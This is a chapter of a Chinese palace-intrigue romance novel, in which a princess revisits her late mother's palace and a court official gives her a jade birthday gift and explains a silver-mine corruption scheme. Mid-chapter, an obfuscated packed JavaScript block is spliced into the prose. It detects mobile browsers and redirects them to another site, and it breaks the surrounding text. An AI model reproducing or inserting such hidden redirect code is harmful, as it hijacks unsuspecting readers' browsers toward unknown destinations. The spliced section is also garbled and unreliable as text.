39. 第三十九章 思念得紧
作品:《风雪渡万里》 景阳宫外,李鸿顺领着两列宫人静候于宫门前,见姜宁携惜桃踏雪而来,忙趋步上前,躬身相迎。
“殿下万安。”李鸿顺声音恭谨,“景阳宫已按陛下旨意收拾妥当。先皇后昔日所居正殿,一应陈设俱按旧例维持原样,未曾挪动。东偏殿已为殿下备好寝居,可随时入住。”
他垂首禀报完毕,却未闻回应。
悄然抬眸,只见姜宁正仰首凝望着宫门上悬着的“景阳宫”匾额,目光悠远,似是穿透了十数载光阴,陷落在某种深沉的思绪里。
“殿下?”李鸿顺试探着又轻唤一声。
惜桃见状,轻轻扯了扯姜宁的袖角,低声提醒道:“殿下,李公公还候着呢。”
姜宁倏然回神,目光落在李鸿顺身上,唇角牵起一抹浅淡的弧度:“有劳公公费心安排。”
“殿下折煞老奴了。”李鸿顺略直起身,侧身引向身后肃立的宫人,“这些皆是老奴亲自挑选来侍奉殿下的宫人,俱是机敏可靠的,殿下尽可差遣。”
姜宁目光扫过那些年轻而陌生的面孔,略一沉吟,问道:“李公公,不知宫中可还有昔日曾在母后身边服侍过的旧人?”
李鸿顺闻言,面露难色,复又躬身:“回殿下,此事……老奴先前未曾特地留意。若殿下需要,老奴这便下去仔细查问。”
“好,那便多谢公公了。若有消息,还需劳烦公公,将人送来景阳宫。”姜宁微微颔首。
“殿下客气。若殿下无其他吩咐,老奴需回庆元殿向陛下复命。”李鸿顺顿了顿,又补充道,“陛下口谕,约莫未时驾临景阳宫,与殿下共用午膳。还请殿下早作准备。”
“本宫知道了。”
“那老奴……便告退了。”
待李鸿顺一行人离去,姜宁简单询问了宫人情况,便带着惜桃,迈步踏入这座记忆中温暖且痛楚的宫苑。
昔年母后在时,景阳宫内花团锦簇。但封禁了十数年,这座宫苑早已失了生机。
纵使前两日宫人洒扫整理,除去积雪枯叶,在这冬日阴霾下,依旧难掩深入骨髓的萧索。
庭院一角,那架母后差人专门为她搭建的秋千,如今亦是绳索朽蚀,木板斑驳,在寒风中微微晃动,发出吱呀轻响。
姜宁步履沉缓,一步、又一步走向正殿。
指尖推开沉重的殿门,熟悉的陈设扑面而来,空气中却再无往日暖香,只余下经年尘封的清冷气息。
在这里,母后曾温柔拥着她,哼唱着江南小调,伴她入眠。
也是在这里,母后苍白的手紧紧攥着她,气息微弱,最终溘然长逝。
物是人非,此情此景,令她心口泛起细密而尖锐的酸楚。
惜桃察觉她情绪低落,悄无声息地离开,领着其他宫人退下准备午膳,独自留姜宁在殿内。
姜宁行至梳妆的镜台前,缓缓打开台面上那个紫檀木妆奁。里面的珠钗环佩、胭脂水粉,依旧如昔,皆是往日母后之物。
她抬手,自发间取下那支从长安带回来的步摇,小心翼翼地放入妆奁中,轻轻合上。
但愿此番归来,不必再远离这重重宫阙。
未时一刻已过,景阳宫仍无动静,未见圣驾。
姜宁正欲遣人去问,便见一名小内侍匆匆而来,跪地禀报:“启禀殿下,陛下正与沈御史商议要务,午膳改在庆元殿用了。陛下让殿下自行用膳,不必再等。”
“父皇可曾说何时得空?”姜宁语气平静,探问道。
“回殿下,未曾。”
“嗯,本宫知道了。”姜宁淡淡应道。
待内侍离开,她眼底则掠过一丝疑虑。沈之衡尚在休沐,身子也未痊愈,何事需他急急入宫?莫非朝中又有变故?
心下想着,她便也无心用膳,只草草用了些点心,便命一名瞧着机灵的小内侍去庆元殿外的宫道守着,若见沈之衡出来,将人引至附近亭台。
她自己则带着惜桃,抱了汤婆子,在亭中等候。
将近酉时,暮色将沉,方才见沈之衡的身影自宫道尽头出现。
他身着绯色官袍,外罩着玄色大氅,步履间虽略显疲惫,但气色较昨日好了许多。
匆匆行至亭前,沈之衡依礼躬身:“微臣参见殿下。”
姜宁摆手示意惜桃与内侍退远些。
随即缓缓起身,走到他面前,抬手为他拂去肩头沾染的细雪:“不是休沐五日么?怎的今日就进宫来了?可是……”
她本欲追问是否朝堂有变,话音未落,指尖却被他温热的手掌轻轻握住。
那暖意顺着她的指尖蔓延,激起一阵微妙的战栗。随即,他低沉而温和的声音落入耳中:
“只因微臣……想见殿下了。”
姜宁一怔,抬眸望进他眼底,那里面清晰地映着她的身影,带着毫不掩饰的眷恋。
不待她回应,他又缓声道,语气认真得近乎执拗:“微臣思念殿下,思念得紧,实在无心休沐。”
姜宁挑眉,指尖轻轻划过他的眉峰,失笑道:“沈大人这是从何处学来的油滑腔调?”
沈之衡轻咳一声,耳根微泛红,坦言道:“是向少卿建言。他说,若心有所念,当直言相告。”
“向恒声?”姜宁忍俊不禁,语带调侃:“他莫不是近日妙笔娘子的话本子看多了罢?”
沈之衡眼底漾开笑意,凝望着她:“微臣觉得此言在理,心中既念着殿下,自当让殿下知晓。”
“沈大人可真是……”
“嗯?”他眉峰微扬。
姜宁摇头轻笑,“你如今倒是很会讨人欢喜。”
“微臣……只愿殿下常欢。”他低声应道。
随即,他自怀中取出一个精致盒,递到她掌心,“微臣入宫前路过玉容阁,见此物雅致,只觉与殿下相配,便斗胆买下。不知是否能合殿下心意?”
“大人有心了。”姜宁接过,指尖轻启盒盖。
当盒中那对莹润无瑕的白玉佩映入眼帘时,她身子蓦然一愣。
“殿下,生辰快乐。”沈之衡接着温声道。
姜宁骤然抬首,眼眶不受控制地泛起湿热,两行清泪毫无征兆地滑落。
见她落泪,沈之衡神色顿时染上几分无措,声音也紧了些:“可是这玉佩不合殿下心意?”
姜宁不知该如何同他说起那个梦境,亦是不知如何向他言明,这对玉佩——
这对玉佩的形制……与她梦境中宸弟所赠的新婚贺礼,别无二致。
这……是宸弟于冥冥之中的祝愿么?
许久,她将木盒紧紧攥在手心,声音微哑:“我很喜欢。多谢沈大人。”
梦境之事,千头万绪,她终究是未说出口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415626|180369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈之衡闻言,明显松了口气:“殿下喜欢便好。”
姜宁轻轻拭去泪痕,将木盒仔细收好,神色恢复沉静,转而问道:“父皇与你商议许久,可是朝中有何事?”
沈之衡平静答道:“微臣向陛下进言,今岁国库增收,昆仑银矿主事梁成光功不可没。年关将至,或可召其回京,论功行赏。”
姜宁心弦微动。她昨日仅向他隐约提及,昆仑银矿之事,她意在引蛇出洞,收官在即。不想他今日便能领会其意,顺势向父皇建言,推动棋局。
“孟环,”沈之衡忽而话锋一转,语气肯定,“是殿下的人所救罢?”
此言如一记惊雷,骤然落于姜宁心间。
她自认为此事安排隐秘,他如何得知?
沈之衡瞧见她眸中的诧异,抬手为她将颊边一缕被风吹乱的发丝轻柔掠至耳后,缓声解释:“孟环,出身都察院。看似贪财疏狂,实则是微臣埋下的暗桩,亦是陛下的人。”
他紧接着,细细道来。
年初,孟环以矿监御史身份随梁成光赴昆仑,表面似是可被拉拢,实为以身入局、暗中监察。
月余前,孟环与他的联络骤然中断。他察觉有异,禀明圣上后,两名锦衣卫奉旨密赴昆仑查探。
不料,竟从山民口中意外得知梁成光等人私开矿脉、草菅人命之事。
梁成光等人私下于他处采矿,不敢声张,只得趁夜色秘密行事。因人手不够,又强抓了附近山民。
那夜大雨,矿洞坍塌,为掩人耳目,梁成光等人索性将涉及山民一一杀害。
但此事,终究还是有九死一生、趁乱逃出之人。
那人隐蔽于山间,不敢归家,四处躲藏,行迹鬼鬼祟祟。好巧不巧,某日便撞上了那两名锦衣卫。
锦衣卫一番恐吓,那人皆不开口,恐祸及家人。在确认是圣上派来的人后,那人终是全盘托出,如今,已在带回京城的路上。
而孟环的踪迹始终未被锦衣卫寻到。
直至昨夜,在姜宁离开后不久,他倏然收到孟环的密信,言及遇险,得他人相救,而那些人正欲要秘密护送其返京。
“收到密信之前,殿下刚与微臣提及昆仑棋局将至收官。”沈之衡目光深邃地看向姜宁,“微臣便猜想,出手相助的,定是殿下之人。”
至于姜宁如何能在京外布下此等力量,他识趣地并不过问。
姜宁听罢,语气带着几分玩味:“孟环竟能瞒过我的人,悄无声息将消息递到你手上。沈大人选的这枚暗桩,倒是能耐不小。”
“殿下过奖。”
“如此说来,”姜宁顿了顿,“昆仑银矿之事,父皇其实早已暗中布局?”
“是。”沈之衡答得干脆。
姜宁颔首。
是了,银矿关乎国本,她那父皇心思深沉,岂会是个单纯的?这么多年,早已是个老狐狸罢了。
她自认为昆仑银矿是她有意抛下的诱饵,不曾想,父皇亦是如此。
许多事,并非是父皇不知,而在于他选择如何处置。一如十五年前宸弟夭折的真相。
思及此,她下意识地捏紧指尖,复又抬眼:“此事……父皇打算如何做?”
沈之衡迎上她的目光,一字一句——
“待梁成光返京之日,便是汪家大厦倾颓之时。